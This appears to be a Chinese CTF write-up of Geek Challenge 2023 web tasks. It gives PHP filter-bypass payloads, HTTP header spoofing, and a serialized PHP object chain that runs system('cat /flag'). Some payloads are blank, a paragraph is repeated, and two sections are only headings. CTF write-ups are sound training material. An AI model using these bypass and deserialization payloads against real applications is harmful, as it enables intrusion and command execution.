Geek Challenge 2023
easy_php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php header('Content-type:text/html;charset=utf-8'); error_reporting(0);
highlight_file(__FILE__); include_once('flag.php'); if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') { if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) { if (isset($_POST['qw']) && $_POST['yxx']) { $array1 = (string)$_POST['qw']; $array2 = (string)$_POST['yxx']; if (sha1($array1) === sha1($array2)) { if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) { echo $flag; } else { echo "再绕最后一步吧"; } } else { echo "好哩,快拿到flag啦"; } } else { echo "这里绕不过去,QW可不答应了哈"; } } else { echo "嘿嘿嘿,你别急啊"; } }else { echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!"; } ?>
|
preg_match绕过
1
| isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!'
|
payload:
1
| ?syc=Welcome to GEEK 2023!%0a
|
intval绕过
1
| intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024
|
1 2 3
| echo intval(1e10); echo intval('1e10'); echo intval('1e10'+1);
|
payload:
sha1绕过
1 2 3 4
| if (isset($_POST['qw']) && $_POST['yxx']) { $array1 = (string)$_POST['qw']; $array2 = (string)$_POST['yxx']; if (sha1($array1) === sha1($array2))
|
数组绕过,sha1()函数无法处理数组,如果传入的为数组,会返回NULL,所以经过加密后得到的都是NULL,也就是相等的。
payload:
1
| isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!"
|
在 PHP 中,变量名称中不能使用句号点(.)。 例如 $a.b
是一个不合法的变量名。因此,PHP 会自动将点替换为下划线。
除了点,一些其他字符如果出现在GET参数名中,也将会被自动替换为下划线。会被自动替换的字符列表:
1 2 3 4
| chr(32) ( ) (空格) chr(46) (.) (点) chr(91) ([) (中括号) chr(128) - chr(159) (多个字符)
|
在 PHP 中,变量名称中不能使用句号点(.)。 例如 $a.b
是一个不合法的变量名。因此,PHP 会自动将点替换为下划线。
除了点,一些其他字符如果出现在GET参数名中,也将会被自动替换为下划线。会被自动替换的字符列表:
1 2 3 4
| chr(32) ( ) (空格) chr(46) (.) (点) chr(91) ([) (中括号) chr(128) - chr(159) (多个字符)
|
payload:
1
| SYC[GEEK.2023="Happy to see you!"
|
EzHttp
post传参username和password进行登录
搜到了robots.txt
1 2 3
| User-agent: *
Disallow: /o2takuXX's_username_and_password.txt
|
访问获得账户密码
1 2
| username:admin password:@dm1N123456r00t#
|
必须来源自sycsec.com
请使用Syclover浏览器
请从localhost访问
1
| x-forwarded-for: 127.0.0.1
|
请使用Syc.vip代理
1 2 3 4 5 6
| <?php if($_SERVER['HTTP_O2TAKUXX']=="GiveMeFlag"){ echo $flag; }
?>
|
unsign
反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php **highlight_file**(**__FILE__**); **class** **syc** { **public** $cuit; **public** **function** **__destruct**() { **echo**("action!<br>"); $function=$this->cuit; **return** $function(); } }
**class** **lover** { **public** $yxx; **public** $QW; **public** **function** **__invoke**() { **echo**("invoke!<br>"); **return** $this->yxx->QW; }
}
**class** **web** { **public** $eva1; **public** $interesting;
**public** **function** **__get**($var) { **echo**("get!<br>"); $eva1=$this->eva1; $eva1($this->interesting); } } **if** (**isset**($_POST['url'])) { **unserialize**($_POST['url']); }
?>
|
- __construct():实例化对象时,首先会去自动执行的一个方法
- __invoke():格式表达错误导致没魔术方法触发(把对象当成函数调用)
- __get():调用的成员属性是私有属性或不存在时触发(返回值:不存在的成员属性的名称)
1 2 3 4 5 6 7 8 9 10
| $a=new web(); $a->eva1='system'; $a->interesting="cat /flag"; $b=new lover(); $b->yxx=$a; $b->QW='asd';//赋一未知值来调用__get $c=new syc(); $c->cuit=$b;//触发__invoke
echo serialize($c);
|
1
| url=O:3:"syc":1:{s:4:"cuit";O:5:"lover":2:{s:3:"yxx";O:3:"web":2:{s:4:"eva1";s:6:"system";s:11:"interesting";s:9:"cat /flag";}s:2:"QW";s:3:"asd";}}
|
Pupyy_rce
无参RCE
n00b_Upload
文件上传